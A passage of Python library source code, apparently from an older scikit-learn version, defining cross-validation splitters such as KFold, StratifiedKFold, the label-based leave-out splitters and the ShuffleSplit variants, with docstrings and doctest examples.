        for combination in combinations(range(_num_samples(X)), self.p):
            yield np.array(combination)

    def get_n_splits(self, X, y=None, labels=None):
        """Returns the number of splitting iterations in the cross-validator

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : object
            Always ignored, exists for compatibility.

        labels : object
            Always ignored, exists for compatibility.
        """
        if X is None:
            raise ValueError("The X parameter should not be None")
        return int(comb(_num_samples(X), self.p, exact=True))


class _BaseKFold(with_metaclass(ABCMeta, BaseCrossValidator)):
    """Base class for KFold, LabelKFold, and StratifiedKFold"""

    @abstractmethod
    def __init__(self, n_splits, shuffle, random_state):
        if not isinstance(n_splits, numbers.Integral):
            raise ValueError('The number of folds must be of Integral type. '
                             '%s of type %s was passed.'
                             % (n_splits, type(n_splits)))
        n_splits = int(n_splits)

        if n_splits <= 1:
            raise ValueError(
                "k-fold cross-validation requires at least one"
                " train/test split by setting n_splits=2 or more,"
                " got n_splits={0}.".format(n_splits))

        if not isinstance(shuffle, bool):
            raise TypeError("shuffle must be True or False;"
                            " got {0}".format(shuffle))

        self.n_splits = n_splits
        self.shuffle = shuffle
        self.random_state = random_state

    def split(self, X, y=None, labels=None):
        """Generate indices to split data into training and test set.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape (n_samples,)
            The target variable for supervised learning problems.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.

        Returns
        -------
        train : ndarray
            The training set indices for that split.

        test : ndarray
            The testing set indices for that split.
        """
        X, y, labels = indexable(X, y, labels)
        n_samples = _num_samples(X)
        if self.n_splits > n_samples:
            raise ValueError(
                ("Cannot have number of splits n_splits={0} greater"
                 " than the number of samples: {1}.").format(self.n_splits,
                                                             n_samples))

        for train, test in super(_BaseKFold, self).split(X, y, labels):
            yield train, test

    def get_n_splits(self, X=None, y=None, labels=None):
        """Returns the number of splitting iterations in the cross-validator

        Parameters
        ----------
        X : object
            Always ignored, exists for compatibility.

        y : object
            Always ignored, exists for compatibility.

        labels : object
            Always ignored, exists for compatibility.

        Returns
        -------
        n_splits : int
            Returns the number of splitting iterations in the cross-validator.
        """
        return self.n_splits


class KFold(_BaseKFold):
    """K-Folds cross-validator

    Provides train/test indices to split data in train/test sets. Split
    dataset into k consecutive folds (without shuffling by default).

    Each fold is then used once as a validation while the k - 1 remaining
    folds form the training set.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n_splits : int, default=3
        Number of folds. Must be at least 2.

    shuffle : boolean, optional
        Whether to shuffle the data before splitting into batches.

    random_state : None, int or RandomState
        When shuffle=True, pseudo-random number generator state used for
        shuffling. If None, use default numpy RNG for shuffling.

    Examples
    --------
    >>> from sklearn.model_selection import KFold
    >>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
    >>> y = np.array([1, 2, 3, 4])
    >>> kf = KFold(n_splits=2)
    >>> kf.get_n_splits(X)
    2
    >>> print(kf)  # doctest: +NORMALIZE_WHITESPACE
    KFold(n_splits=2, random_state=None, shuffle=False)
    >>> for train_index, test_index in kf.split(X):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [2 3] TEST: [0 1]
    TRAIN: [0 1] TEST: [2 3]

    Notes
    -----
    The first ``n_samples % n_splits`` folds have size
    ``n_samples // n_splits + 1``, other folds have size
    ``n_samples // n_splits``, where ``n_samples`` is the number of samples.

    See also
    --------
    StratifiedKFold
        Takes label information into account to avoid building folds with
        imbalanced class distributions (for binary or multiclass
        classification tasks).

    LabelKFold: K-fold iterator variant with non-overlapping labels.
    """

    def __init__(self, n_splits=3, shuffle=False,
                 random_state=None):
        super(KFold, self).__init__(n_splits, shuffle, random_state)

    def _iter_test_indices(self, X, y=None, labels=None):
        n_samples = _num_samples(X)
        indices = np.arange(n_samples)
        if self.shuffle:
            check_random_state(self.random_state).shuffle(indices)

        n_splits = self.n_splits
        fold_sizes = (n_samples // n_splits) * np.ones(n_splits, dtype=np.int)
        fold_sizes[:n_samples % n_splits] += 1
        current = 0
        for fold_size in fold_sizes:
            start, stop = current, current + fold_size
            yield indices[start:stop]
            current = stop


class LabelKFold(_BaseKFold):
    """K-fold iterator variant with non-overlapping labels.

    The same label will not appear in two different folds (the number of
    distinct labels has to be at least equal to the number of folds).

    The folds are approximately balanced in the sense that the number of
    distinct labels is approximately the same in each fold.

    Parameters
    ----------
    n_splits : int, default=3
        Number of folds. Must be at least 2.

    Examples
    --------
    >>> from sklearn.model_selection import LabelKFold
    >>> X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    >>> y = np.array([1, 2, 3, 4])
    >>> labels = np.array([0, 0, 2, 2])
    >>> label_kfold = LabelKFold(n_splits=2)
    >>> label_kfold.get_n_splits(X, y, labels)
    2
    >>> print(label_kfold)
    LabelKFold(n_splits=2)
    >>> for train_index, test_index in label_kfold.split(X, y, labels):
    ...     print("TRAIN:", train_index, "TEST:", test_index)
    ...     X_train, X_test = X[train_index], X[test_index]
    ...     y_train, y_test = y[train_index], y[test_index]
    ...     print(X_train, X_test, y_train, y_test)
    ...
    TRAIN: [0 1] TEST: [2 3]
    [[1 2]
     [3 4]] [[5 6]
     [7 8]] [1 2] [3 4]
    TRAIN: [2 3] TEST: [0 1]
    [[5 6]
     [7 8]] [[1 2]
     [3 4]] [3 4] [1 2]

    See also
    --------
    LeaveOneLabelOut
        For splitting the data according to explicit domain-specific
        stratification of the dataset.
    """
    def __init__(self, n_splits=3):
        super(LabelKFold, self).__init__(n_splits, shuffle=False,
                                         random_state=None)

    def _iter_test_indices(self, X, y, labels):
        if labels is None:
            raise ValueError("The labels parameter should not be None")

        unique_labels, labels = np.unique(labels, return_inverse=True)
        n_labels = len(unique_labels)

        if self.n_splits > n_labels:
            raise ValueError("Cannot have number of splits n_splits=%d greater"
                             " than the number of labels: %d."
                             % (self.n_splits, n_labels))

        # Weight labels by their number of occurrences
        n_samples_per_label = np.bincount(labels)

        # Distribute the most frequent labels first
        indices = np.argsort(n_samples_per_label)[::-1]
        n_samples_per_label = n_samples_per_label[indices]

        # Total weight of each fold
        n_samples_per_fold = np.zeros(self.n_splits)

        # Mapping from label index to fold index
        label_to_fold = np.zeros(len(unique_labels))

        # Distribute samples by adding the largest weight to the lightest fold
        for label_index, weight in enumerate(n_samples_per_label):
            lightest_fold = np.argmin(n_samples_per_fold)
            n_samples_per_fold[lightest_fold] += weight
            label_to_fold[indices[label_index]] = lightest_fold

        indices = label_to_fold[labels]

        for f in range(self.n_splits):
            yield np.where(indices == f)[0]


class StratifiedKFold(_BaseKFold):
    """Stratified K-Folds cross-validator

    Provides train/test indices to split data in train/test sets.

    This cross-validation object is a variation of KFold that returns
    stratified folds. The folds are made by preserving the percentage of
    samples for each class.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n_splits : int, default=3
        Number of folds. Must be at least 2.

    shuffle : boolean, optional
        Whether to shuffle each stratification of the data before splitting
        into batches.

    random_state : None, int or RandomState
        When shuffle=True, pseudo-random number generator state used for
        shuffling. If None, use default numpy RNG for shuffling.

    Examples
    --------
    >>> from sklearn.model_selection import StratifiedKFold
    >>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
    >>> y = np.array([0, 0, 1, 1])
    >>> skf = StratifiedKFold(n_splits=2)
    >>> skf.get_n_splits(X, y)
    2
    >>> print(skf)  # doctest: +NORMALIZE_WHITESPACE
    StratifiedKFold(n_splits=2, random_state=None, shuffle=False)
    >>> for train_index, test_index in skf.split(X, y):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [1 3] TEST: [0 2]
    TRAIN: [0 2] TEST: [1 3]

    Notes
    -----
    All the folds have size ``trunc(n_samples / n_splits)``, the last one has
    the complementary.

    """

    def __init__(self, n_splits=3, shuffle=False, random_state=None):
        super(StratifiedKFold, self).__init__(n_splits, shuffle, random_state)

    def _make_test_folds(self, X, y=None, labels=None):
        if self.shuffle:
            rng = check_random_state(self.random_state)
        else:
            rng = self.random_state
        y = np.asarray(y)
        n_samples = y.shape[0]
        unique_y, y_inversed = np.unique(y, return_inverse=True)
        y_counts = bincount(y_inversed)
        min_labels = np.min(y_counts)
        if np.all(self.n_splits > y_counts):
            raise ValueError("All the n_labels for individual classes"
                             " are less than n_splits=%d."
                             % (self.n_splits))
        if self.n_splits > min_labels:
            warnings.warn(("The least populated class in y has only %d"
                           " members, which is too few. The minimum"
                           " number of labels for any class cannot"
                           " be less than n_splits=%d."
                           % (min_labels, self.n_splits)), Warning)

        # pre-assign each sample to a test fold index using individual KFold
        # splitting strategies for each class so as to respect the balance of
        # classes
        # NOTE: Passing the data corresponding to ith class say X[y==class_i]
        # will break when the data is not 100% stratifiable for all classes.
        # So we pass np.zeroes(max(c, n_splits)) as data to the KFold
        per_cls_cvs = [
            KFold(self.n_splits, shuffle=self.shuffle,
                  random_state=rng).split(np.zeros(max(count, self.n_splits)))
            for count in y_counts]

        test_folds = np.zeros(n_samples, dtype=np.int)
        for test_fold_indices, per_cls_splits in enumerate(zip(*per_cls_cvs)):
            for cls, (_, test_split) in zip(unique_y, per_cls_splits):
                cls_test_folds = test_folds[y == cls]
                # the test split can be too big because we used
                # KFold(...).split(X[:max(c, n_splits)]) when data is not 100%
                # stratifiable for all the classes
                # (we use a warning instead of raising an exception)
                # If this is the case, let's trim it:
                test_split = test_split[test_split < len(cls_test_folds)]
                cls_test_folds[test_split] = test_fold_indices
                test_folds[y == cls] = cls_test_folds

        return test_folds

    def _iter_test_masks(self, X, y=None, labels=None):
        test_folds = self._make_test_folds(X, y)
        for i in range(self.n_splits):
            yield test_folds == i

    def split(self, X, y, labels=None):
        """Generate indices to split data into training and test set.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape (n_samples,)
            The target variable for supervised learning problems.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.

        Returns
        -------
        train : ndarray
            The training set indices for that split.

        test : ndarray
            The testing set indices for that split.
        """
        return super(StratifiedKFold, self).split(X, y, labels)


class LeaveOneLabelOut(BaseCrossValidator):
    """Leave One Label Out cross-validator

    Provides train/test indices to split data according to a third-party
    provided label. This label information can be used to encode arbitrary
    domain specific stratifications of the samples as integers.

    For instance the labels could be the year of collection of the samples
    and thus allow for cross-validation against time-based splits.

    Read more in the :ref:`User Guide <cross_validation>`.

    Examples
    --------
    >>> from sklearn.model_selection import LeaveOneLabelOut
    >>> X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    >>> y = np.array([1, 2, 1, 2])
    >>> labels = np.array([1, 1, 2, 2])
    >>> lol = LeaveOneLabelOut()
    >>> lol.get_n_splits(X, y, labels)
    2
    >>> print(lol)
    LeaveOneLabelOut()
    >>> for train_index, test_index in lol.split(X, y, labels):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    ...    print(X_train, X_test, y_train, y_test)
    TRAIN: [2 3] TEST: [0 1]
    [[5 6]
     [7 8]] [[1 2]
     [3 4]] [1 2] [1 2]
    TRAIN: [0 1] TEST: [2 3]
    [[1 2]
     [3 4]] [[5 6]
     [7 8]] [1 2] [1 2]

    """

    def _iter_test_masks(self, X, y, labels):
        if labels is None:
            raise ValueError("The labels parameter should not be None")
        # We make a copy of labels to avoid side-effects during iteration
        labels = np.array(labels, copy=True)
        unique_labels = np.unique(labels)
        for i in unique_labels:
            yield labels == i

    def get_n_splits(self, X, y, labels):
        """Returns the number of splitting iterations in the cross-validator

        Parameters
        ----------
        X : object
            Always ignored, exists for compatibility.

        y : object
            Always ignored, exists for compatibility.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.

        Returns
        -------
        n_splits : int
            Returns the number of splitting iterations in the cross-validator.
        """
        if labels is None:
            raise ValueError("The labels parameter should not be None")
        return len(np.unique(labels))


class LeavePLabelOut(BaseCrossValidator):
    """Leave P Labels Out cross-validator

    Provides train/test indices to split data according to a third-party
    provided label. This label information can be used to encode arbitrary
    domain specific stratifications of the samples as integers.

    For instance the labels could be the year of collection of the samples
    and thus allow for cross-validation against time-based splits.

    The difference between LeavePLabelOut and LeaveOneLabelOut is that
    the former builds the test sets with all the samples assigned to
    ``p`` different values of the labels while the latter uses samples
    all assigned the same labels.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n_labels : int
        Number of labels (``p``) to leave out in the test split.

    Examples
    --------
    >>> from sklearn.model_selection import LeavePLabelOut
    >>> X = np.array([[1, 2], [3, 4], [5, 6]])
    >>> y = np.array([1, 2, 1])
    >>> labels = np.array([1, 2, 3])
    >>> lpl = LeavePLabelOut(n_labels=2)
    >>> lpl.get_n_splits(X, y, labels)
    3
    >>> print(lpl)
    LeavePLabelOut(n_labels=2)
    >>> for train_index, test_index in lpl.split(X, y, labels):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    ...    print(X_train, X_test, y_train, y_test)
    TRAIN: [2] TEST: [0 1]
    [[5 6]] [[1 2]
     [3 4]] [1] [1 2]
    TRAIN: [1] TEST: [0 2]
    [[3 4]] [[1 2]
     [5 6]] [2] [1 1]
    TRAIN: [0] TEST: [1 2]
    [[1 2]] [[3 4]
     [5 6]] [1] [2 1]

    See also
    --------
    LabelKFold: K-fold iterator variant with non-overlapping labels.
    """

    def __init__(self, n_labels):
        self.n_labels = n_labels

    def _iter_test_masks(self, X, y, labels):
        if labels is None:
            raise ValueError("The labels parameter should not be None")
        labels = np.array(labels, copy=True)
        unique_labels = np.unique(labels)
        combi = combinations(range(len(unique_labels)), self.n_labels)
        for indices in combi:
            test_index = np.zeros(_num_samples(X), dtype=np.bool)
            for l in unique_labels[np.array(indices)]:
                test_index[labels == l] = True
            yield test_index

    def get_n_splits(self, X, y, labels):
        """Returns the number of splitting iterations in the cross-validator

        Parameters
        ----------
        X : object
            Always ignored, exists for compatibility.

        y : object
            Always ignored, exists for compatibility.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.

        Returns
        -------
        n_splits : int
            Returns the number of splitting iterations in the cross-validator.
        """
        if labels is None:
            raise ValueError("The labels parameter should not be None")
        return int(comb(len(np.unique(labels)), self.n_labels, exact=True))


class BaseShuffleSplit(with_metaclass(ABCMeta)):
    """Base class for ShuffleSplit and StratifiedShuffleSplit"""

    def __init__(self, n_splits=10, test_size=0.1, train_size=None,
                 random_state=None):
        _validate_shuffle_split_init(test_size, train_size)
        self.n_splits = n_splits
        self.test_size = test_size
        self.train_size = train_size
        self.random_state = random_state

    def split(self, X, y=None, labels=None):
        """Generate indices to split data into training and test set.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape (n_samples,)
            The target variable for supervised learning problems.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.

        Returns
        -------
        train : ndarray
            The training set indices for that split.

        test : ndarray
            The testing set indices for that split.
        """
        X, y, labels = indexable(X, y, labels)
        for train, test in self._iter_indices(X, y, labels):
            yield train, test

    @abstractmethod
    def _iter_indices(self, X, y=None, labels=None):
        """Generate (train, test) indices"""

    def get_n_splits(self, X=None, y=None, labels=None):
        """Returns the number of splitting iterations in the cross-validator

        Parameters
        ----------
        X : object
            Always ignored, exists for compatibility.

        y : object
            Always ignored, exists for compatibility.

        labels : object
            Always ignored, exists for compatibility.

        Returns
        -------
        n_splits : int
            Returns the number of splitting iterations in the cross-validator.
        """
        return self.n_splits

    def __repr__(self):
        return _build_repr(self)


class ShuffleSplit(BaseShuffleSplit):
    """Random permutation cross-validator

    Yields indices to split data into training and test sets.

    Note: contrary to other cross-validation strategies, random splits
    do not guarantee that all folds will be different, although this is
    still very likely for sizeable datasets.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n_splits : int (default 10)
        Number of re-shuffling & splitting iterations.

    test_size : float, int, or None, default 0.1
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the test split. If
        int, represents the absolute number of test samples. If None,
        the value is automatically set to the complement of the train size.

    train_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the train split. If
        int, represents the absolute number of train samples. If None,
        the value is automatically set to the complement of the test size.

    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.

    Examples
    --------
    >>> from sklearn.model_selection import ShuffleSplit
    >>> X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    >>> y = np.array([1, 2, 1, 2])
    >>> rs = ShuffleSplit(n_splits=3, test_size=.25, random_state=0)
    >>> rs.get_n_splits(X)
    3
    >>> print(rs)
    ShuffleSplit(n_splits=3, random_state=0, test_size=0.25, train_size=None)
    >>> for train_index, test_index in rs.split(X):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...  # doctest: +ELLIPSIS
    TRAIN: [3 1 0] TEST: [2]
    TRAIN: [2 1 3] TEST: [0]
    TRAIN: [0 2 1] TEST: [3]
    >>> rs = ShuffleSplit(n_splits=3, train_size=0.5, test_size=.25,
    ...                   random_state=0)
    >>> for train_index, test_index in rs.split(X):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...  # doctest: +ELLIPSIS
    TRAIN: [3 1] TEST: [2]
    TRAIN: [2 1] TEST: [0]
    TRAIN: [0 2] TEST: [3]
    """

    def _iter_indices(self, X, y=None, labels=None):
        n_samples = _num_samples(X)
        n_train, n_test = _validate_shuffle_split(n_samples, self.test_size,
                                                  self.train_size)
        rng = check_random_state(self.random_state)
        for i in range(self.n_splits):
            # random partition
            permutation = rng.permutation(n_samples)
            ind_test = permutation[:n_test]
            ind_train = permutation[n_test:(n_test + n_train)]
            yield ind_train, ind_test


class LabelShuffleSplit(ShuffleSplit):
    '''Shuffle-Labels-Out cross-validation iterator

    Provides randomized train/test indices to split data according to a
    third-party provided label. This label information can be used to encode
    arbitrary domain specific stratifications of the samples as integers.

    For instance the labels could be the year of collection of the samples
    and thus allow for cross-validation against time-based splits.

    The difference between LeavePLabelOut and LabelShuffleSplit is that
    the former generates splits using all subsets of size ``p`` unique labels,
    whereas LabelShuffleSplit generates a user-determined number of random
    test splits, each with a user-determined fraction of unique labels.

    For example, a less computationally intensive alternative to
    ``LeavePLabelOut(p=10)`` would be
    ``LabelShuffleSplit(test_size=10, n_splits=100)``.

    Note: The parameters ``test_size`` and ``train_size`` refer to labels, and
    not to samples, as in ShuffleSplit.


    Parameters
    ----------
    n_splits : int (default 5)
        Number of re-shuffling & splitting iterations.

    test_size : float (default 0.2), int, or None
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the labels to include in the test split. If
        int, represents the absolute number of test labels. If None,
        the value is automatically set to the complement of the train size.

    train_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the labels to include in the train split. If
        int, represents the absolute number of train labels. If None,
        the value is automatically set to the complement of the test size.

    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.
    '''

    def __init__(self, n_splits=5, test_size=0.2, train_size=None,
                 random_state=None):
        super(LabelShuffleSplit, self).__init__(
            n_splits=n_splits,
            test_size=test_size,
            train_size=train_size,
            random_state=random_state)

    def _iter_indices(self, X, y, labels):
        if labels is None:
            raise ValueError("The labels parameter should not be None")
        classes, label_indices = np.unique(labels, return_inverse=True)
        for label_train, label_test in super(
                LabelShuffleSplit, self)._iter_indices(X=classes):
            # these are the indices of classes in the partition
            # invert them into data indices

            train = np.flatnonzero(np.in1d(label_indices, label_train))
            test = np.flatnonzero(np.in1d(label_indices, label_test))

            yield train, test


class StratifiedShuffleSplit(BaseShuffleSplit):
    """Stratified ShuffleSplit cross-validator

    Provides train/test indices to split data in train/test sets.

    This cross-validation object is a merge of StratifiedKFold and
    ShuffleSplit, which returns stratified randomized folds. The folds
    are made by preserving the percentage of samples for each class.

    Note: like the ShuffleSplit strategy, stratified random splits
    do not guarantee that all folds will be different, although this is
    still very likely for sizeable datasets.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n_splits : int (default 10)
        Number of re-shuffling & splitting iterations.

    test_size : float (default 0.1), int, or None
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the test split. If
        int, represents the absolute number of test samples. If None,
        the value is automatically set to the complement of the train size.

    train_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the train split. If
        int, represents the absolute number of train samples. If None,
        the value is automatically set to the complement of the test size.

    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.

    Examples
    --------
    >>> from sklearn.model_selection import StratifiedShuffleSplit
    >>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
    >>> y = np.array([0, 0, 1, 1])
    >>> sss = StratifiedShuffleSplit(n_splits=3, test_size=0.5, random_state=0)
    >>> sss.get_n_splits(X, y)
    3
    >>> print(sss)       # doctest: +ELLIPSIS
    StratifiedShuffleSplit(n_splits=3, random_state=0, ...)
    >>> for train_index, test_index in sss.split(X, y):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [1 2] TEST: [3 0]
    TRAIN: [0 2] TEST: [1 3]
    TRAIN: [0 2] TEST: [3 1]
    """

    def __init__(self, n_splits=10, test_size=0.1, train_size=None,
                 random_state=None):
        super(StratifiedShuffleSplit, self).__init__(
            n_splits, test_size, train_size, random_state)

    def _iter_indices(self, X, y, labels=None):
        n_samples = _num_samples(X)
        n_train, n_test = _validate_shuffle_split(n_samples, self.test_size,
                                                  self.train_size)
        classes, y_indices = np.unique(y, return_inverse=True)
        n_classes = classes.shape[0]

        class_counts = bincount(y_indices)
        if np.min(class_counts) < 2:
            raise ValueError("The least populated class in y has only 1"
                             " member, which is too few. The minimum"
                             " number of labels for any class cannot"
                             " be less than 2.")

        if n_train < n_classes:
            raise ValueError('The train_size = %d should be greater or '
                             'equal to the number of classes = %d' %
                             (n_train, n_classes))
        if n_test < n_classes:
            raise ValueError('The test_size = %d should be greater or '
                             'equal to the number of classes = %d' %
                             (n_test, n_classes))

        rng = check_random_state(self.random_state)
        p_i = class_counts / float(n_samples)
        n_i = np.round(n_train * p_i).astype(int)
        t_i = np.minimum(class_counts - n_i,
                         np.round(n_test * p_i).astype(int))

        for _ in range(self.n_splits):
            train = []
            test = []

            for i, class_i in enumerate(classes):
                permutation = rng.permutation(class_counts[i])
                perm_indices_class_i = np.where((y == class_i))[0][permutation]

                train.extend(perm_indices_class_i[:n_i[i]])
                test.extend(perm_indices_class_i[n_i[i]:n_i[i] + t_i[i]])

            # Because of rounding issues (as n_train and n_test are not
            # dividers of the number of elements per class), we may end
            # up here with less samples in train and test than asked for.
            if len(train) + len(test) < n_train + n_test:
                # We complete by affecting randomly the missing indexes
                missing_indices = np.where(bincount(train + test,
                                                    minlength=len(y)) == 0)[0]
                missing_indices = rng.permutation(missing_indices)
                n_missing_train = n_train - len(train)
                n_missing_test = n_test - len(test)

                if n_missing_train > 0:
                    train.extend(missing_indices[:n_missing_train])
                if n_missing_test > 0:
                    test.extend(missing_indices[-n_missing_test:])

            train = rng.permutation(train)
            test = rng.permutation(test)

            yield train, test

    def split(self, X, y, labels=None):
        """Generate indices to split data into training and test set.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape (n_samples,)
            The target variable for supervised learning problems.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.

        Returns
        -------
        train : ndarray
            The training set indices for that split.

        test : ndarray
            The testing set indices for that split.
        """
        return super(StratifiedShuffleSplit, self).split(X, y, labels)


def _validate_shuffle_split_init(test_size, train_size):
    """Validation helper to check the test_size and train_size at init

    NOTE This does not take into account the number of samples which is known
    only at split
    """
    if test_size is None and train_size is None:
        raise ValueError('test_size and train_size can not both be None')

    if test_size is not None:
        if np.asarray(test_size).dtype.kind == 'f':
            if test_size >= 1.:
                raise ValueError(
                    'test_size=%f should be smaller '
                    'than 1.0 or be an integer' % test_size)
        elif np.asarray(test_size).dtype.kind != 'i':
            # int values are checked during split based on the input
            raise ValueError("Invalid value for test_size: %r" % test_size)

    if train_size is not None:
        if np.asarray(train_size).dtype.kind == 'f':
            if train_size >= 1.:
                raise ValueError("train_size=%f should be smaller "
                                 "than 1.0 or be an integer" % train_size)
            elif (np.asarray(test_size).dtype.kind == 'f' and
                    (train_size + test_size) > 1.):
                raise ValueError('The sum of test_size and train_size = %f, '
                                 'should be smaller than 1.0. Reduce '
                                 'test_size and/or train_size.' %
                                 (train_size + test_size))
        elif np.asarray(train_size).dtype.kind != 'i':
            # int values are checked during split based on the input
            raise ValueError("Invalid value for train_size: %r" % train_size)


def _validate_shuffle_split(n_samples, test_size, train_size):
    """
    Validation helper to check if the test/test sizes are meaningful wrt to the
    size of the data (n_samples)
    """
    if (test_size is not None and np.asarray(test_size).dtype.kind == 'i'
            and test_size >= n_samples):
        raise ValueError('test_size=%d should be smaller than the number of '
                         'samples %d' % (test_size, n_samples))

    if (train_size is not None and np.asarray(train_size).dtype.kind == 'i'
            and train_size >= n_samples):
        raise ValueError("train_size=%d should be smaller than the number of"
                         " samples %d" % (train_size, n_samples))

    if np.asarray(test_size).dtype.kind == 'f':
        n_test = ceil(test_size * n_samples)
    elif np.asarray(test_size).dtype.kind == 'i':
        n_test = float(test_size)

    if train_size is None:
        n_train = n_samples - n_test
    elif np.asarray(train_size).dtype.kind == 'f':
        n_train = floor(train_size * n_samples)
    else:
        n_train = float(train_size)

    if test_size is None:
        n_test = n_samples - n_train

    if n_train + n_test > n_samples:
        raise ValueError('The sum of train_size and test_size = %d, '
                         'should be smaller than the number of '
                         'samples %d. Reduce test_size and/or '
                         'train_size.' % (n_train + n_test, n_samples))

    return int(n_train), int(n_test)


class PredefinedSplit(BaseCrossValidator):
    """Predefined split cross-validator

    Splits the data into training/test set folds according to a predefined
    scheme. Each sample can be assigned to at most one test set fold, as
    specified by the user through the ``test_fold`` parameter.

    Read more in the :ref:`User Guide <cross_validation>`.

    Examples
    --------
    >>> from sklearn.model_selection import PredefinedSplit
    >>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
    >>> y = np.array([0, 0, 1, 1])
    >>> test_fold = [0, 1, -1, 1]
    >>> ps = PredefinedSplit(test_fold)
    >>> ps.get_n_splits()
    2
    >>> print(ps)       # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
    PredefinedSplit(test_fold=array([ 0,  1, -1,  1]))
    >>> for train_index, test_index in ps.split():
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [1 2 3] TEST: [0]
    TRAIN: [0 2] TEST: [1 3]
    """

    def __init__(self, test_fold):
        self.test_fold = np.array(test_fold, dtype=np.int)
        self.test_fold = column_or_1d(self.test_fold)
        self.unique_folds = np.unique(self.test_fold)
        self.unique_folds = self.unique_folds[self.unique_folds != -1]

    def split(self, X=None, y=None, labels=None):
        """Generate indices to split data into training and test set.

        Parameters
        ----------
        X : object
            Always ignored, exists for compatibility.

        y : object
            Always ignored, exists for compatibility.

        labels : object
            Always ignored, exists for compatibility.

        Returns
        -------
        train : ndarray
            The training set indices for that split.

        test : ndarray
            The testing set indices for that split.
        """
        ind = np.arange(len(self.test_fold))
        for test_index in self._iter_test_masks():
            train_index = ind[np.logical_not(test_index)]
            test_index = ind[test_index]
            yield train_index, test_index

    def _iter_test_masks(self):
        """Generates boolean masks corresponding to test sets."""
        for f in self.unique_folds:
            test_index = np.where(self.test_fold == f)[0]
            test_mask = np.zeros(len(self.test_fold), dtype=np.bool)
            test_mask[test_index] = True
            yield test_mask

    def get_n_splits(self, X=None, y=None, labels=None):
        """Returns the number of splitting iterations in the cross-validator

        Parameters
        ----------
        X : object
            Always ignored, exists for compatibility.

        y : object
            Always ignored, exists for compatibility.

        labels : object
            Always ignored, exists for compatibility.

        Returns
        -------
        n_splits : int
            Returns the number of splitting iterations in the cross-validator.
        """
        return len(self.unique_folds)


class _CVIterableWrapper(BaseCrossValidator):
    """Wrapper class for old style cv objects and iterables."""
    def __init__(self, cv):
        self.cv = cv

    def get_n_splits(self, X=None, y=None, labels=None):
        """Returns the number of splitting iterations in the cross-validator

        Parameters
        ----------
        X : object
            Always ignored, exists for compatibility.

        y : object
            Always ignored, exists for compatibility.

        labels : object
            Always ignored, exists for compatibility.

        Returns
        -------
        n_splits : int
            Returns the number of splitting iterations in the cross-validator.
        """
        return len(self.cv)  # Both iterables and old-cv objects support len

    def split(self, X=None, y=None, labels=None):
        """Generate indices to split data into training and test set.

        Parameters
        ----------
        X : object
            Always ignored, exists for compatibility.

        y : object
            Always ignored, exists for compatibility.

        labels : object
            Always ignored, exists for compatibility.

        Returns
        -------
        train : ndarray
            The training set indices for that split.

        test : ndarray
            The testing set indices for that split.
        """
        for train, test in self.cv:
            yield train, test


def check_cv(cv=3, y=None, classifier=False):
    """Input checker utility for building a cross-validator

    Parameters
    ----------
